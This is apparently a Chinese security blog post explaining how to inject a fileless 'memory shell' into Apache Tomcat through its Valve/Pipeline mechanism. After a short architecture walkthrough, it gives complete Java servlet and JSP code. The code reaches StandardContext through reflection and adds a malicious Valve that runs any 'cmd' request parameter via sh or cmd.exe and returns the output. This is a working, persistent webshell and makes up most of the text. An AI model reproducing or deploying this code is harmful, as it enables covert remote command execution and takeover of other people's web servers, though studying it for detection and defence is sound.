Tomcat MemoryShell Of Valve

Preparation

在之前学习Listener内存马、Filter内存马和Servlet内存马时,下断点的调用栈中总有一个常见的字眼Valve,调用链中调用了很多与Valve相关的方法的invoke方法。

Valve翻译过来是阀门的意思。在Tomcat中,四大容器类StandardEngine、StandardHost、StandardContext、StandardWrapper中都有一个管道(PipeLine)及若干阀门(Valve)。

PipeLine伴随容器类对象生成时自动生成,就像容器的逻辑总线,按照顺序加载各个Valve,而Valve是逻辑的具体实现,通过PipeLine完成各个Valve之间的调用。在PipeLine生成时,同时会生成一个缺省Valve实现,就是在调试中经常看到的StandardEngineValve、StandardHostValve、StandardContextValve、StandardWrapperValve。

Tomcat在处理一个请求调用逻辑时,为了整体架构的每个组件的可伸缩性和可扩展性,使用了职责链模式来实现客户端请求的处理。在Tomcat中定义了两个接口:Pipeline(管道)和Valve(阀门)。Pipeline中有一个最基础的Valve,它始终位于末端,最后执行,且封装了具体的请求处理和输出响应的过程。Pipeline提供了addValve方法,可以添加新Valve在BasicValve之前,并按照添加顺序执行。

Tomcat容器的四个子容器中都有基础的Valve实现(StandardEngineValve、StandardHostValve、StandardContextValve、StandardWrapperValve),它们同时维护了一个Pipeline实例(StandardPipeline)。也就是说,可以在任何层级的容器上针对请求处理进行扩展,且这四个Valve的基础实现都继承了ValveBase。

Process Analysis

跟进一下上文最开始调用栈图中的org.apache.catalina.connector.CoyoteAdapter#service方法,该方法调用StandardEngine#getPipline方法来获取其Pipeline,接着获取Pipeline中的第一个Valve并调用该Valve的invoke方法。

跟进invoke方法,发现其调用的是org.apache.catalina.core.StandardEngineValve#invoke方法,StandardEngineValve继承了ValveBase,且在invoke方法中能拿到request和response。

Achievement

Idea

动态注入Valve内存马的具体思路如下:

  1. 继承并构造一个恶意的Valve;
  2. 获取StandardContext;
  3. 通过StandardContext获取当前容器的StandardPipeline;
  4. 调用StandardContext#addValve方法添加恶意Valve。

Dynamic Registration

Servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package servlet;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.valves.ValveBase;

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

@WebServlet(name = "ValveMemoryShellServlet", value = "/ValveMemoryShellServlet")
public class ValveMemoryShellServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
super.doGet(request, response);
}

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
try {
ServletContext servletContext = request.getSession().getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext) context1.get(applicationContext);

ValveBase valveBase = new ValveBase() {
@Override
public void invoke(Request request, Response response) throws IOException {
if (((HttpServletRequest) request).getParameter("cmd") != null) {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}

String[] command = isLinux ? new String[]{"sh", "-c", ((HttpServletRequest) request).getParameter("cmd")} : new String[]{"cmd.exe", "/c", ((HttpServletRequest) request).getParameter("cmd")};
InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t");
String output = scanner.hasNext() ? scanner.next() : "";
((HttpServletResponse) response).getWriter().write(output);
((HttpServletResponse) response).getWriter().flush();
}
}
};

standardContext.getPipeline().addValve(valveBase);
response.getWriter().write("Valve Inject Successfully...");
} catch (Exception e) {
e.printStackTrace();
}
}
}

JSP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
ServletContext servletContext = request.getSession().getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext) context1.get(applicationContext);

ValveBase valveBase = new ValveBase() {
@Override
public void invoke(Request request, Response response) throws IOException {
if (((HttpServletRequest) request).getParameter("cmd") != null) {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}

String[] command = isLinux ? new String[]{"sh", "-c", ((HttpServletRequest) request).getParameter("cmd")} : new String[]{"cmd.exe", "/c", ((HttpServletRequest) request).getParameter("cmd")};
InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t");
String output = scanner.hasNext() ? scanner.next() : "";
((HttpServletResponse) response).getWriter().write(output);
((HttpServletResponse) response).getWriter().flush();
}
}
};

standardContext.getPipeline().addValve(valveBase);
response.getWriter().write("Valve Inject Successfully...");
%>